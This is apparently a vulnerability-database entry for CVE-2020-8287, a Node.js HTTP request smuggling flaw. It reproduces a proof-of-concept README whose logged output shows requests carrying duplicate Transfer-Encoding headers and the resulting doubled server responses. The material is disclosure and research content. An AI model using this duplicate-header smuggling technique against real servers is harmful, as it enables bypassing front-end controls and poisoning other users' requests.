CVE-2020-8287 PoC — nodejs 环境问题漏洞

Source

https://github.com/progfay/nodejs-http-transfer-encoding-smuggling-poc

Associated Vulnerability

Title: nodejs 环境问题漏洞 (CVE-2020-8287)
Description:Node.js versions before 10.23.1, 12.20.1, 14.15.4, 15.5.1 allow two copies of a header field in an HTTP request (for example, two Transfer-Encoding header fields). In this case, Node.js identifies the first header field and ignores the second. This can lead to HTTP Request Smuggling.

Description

PoC of HTTP Request Smuggling in nodejs (CVE-2020-8287)

Readme

# nodejs-http-transfer-encoding-smuggling-poc

PoC of HTTP Request Smuggling in nodejs (CVE-2020-8287)

## `src/index.js`

```js
{
  header: [
    'Host',
    '127.0.0.1',
    'Transfer-Encoding',
    'chunked',
    'Transfer-Encoding',
    'eee'
  ],
  body: 'A'
}
{ header: [ 'Host', '127.0.0.1' ], body: '' }
{
  data: 'HTTP/1.1 200 OK\r\n' +
    'Date: Tue, 05 Jan 2021 09:55:33 GMT\r\n' +
    'Connection: keep-alive\r\n' +
    'Keep-Alive: timeout=5\r\n' +
    'Content-Length: 0\r\n' +
    '\r\n' +
    'HTTP/1.1 200 OK\r\n' +
    'Date: Tue, 05 Jan 2021 09:55:33 GMT\r\n' +
    'Connection: keep-alive\r\n' +
    'Keep-Alive: timeout=5\r\n' +
    'Content-Length: 0\r\n' +
    '\r\n'
}
```

## `src/express.js`

```js
{
  header: { host: '127.0.0.1', 'transfer-encoding': 'chunked, eee' },
  body: 'A'
}
{ header: { host: '127.0.0.1' }, body: '' }
{
  data: 'HTTP/1.1 200 OK\r\n' +
    'X-Powered-By: Express\r\n' +
    'Date: Tue, 05 Jan 2021 09:56:19 GMT\r\n' +
    'Connection: keep-alive\r\n' +
    'Keep-Alive: timeout=5\r\n' +
    'Content-Length: 0\r\n' +
    '\r\n' +
    'HTTP/1.1 200 OK\r\n' +
    'X-Powered-By: Express\r\n' +
    'Date: Tue, 05 Jan 2021 09:56:19 GMT\r\n' +
    'Connection: keep-alive\r\n' +
    'Keep-Alive: timeout=5\r\n' +
    'Content-Length: 0\r\n' +
    '\r\n'
}
```

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →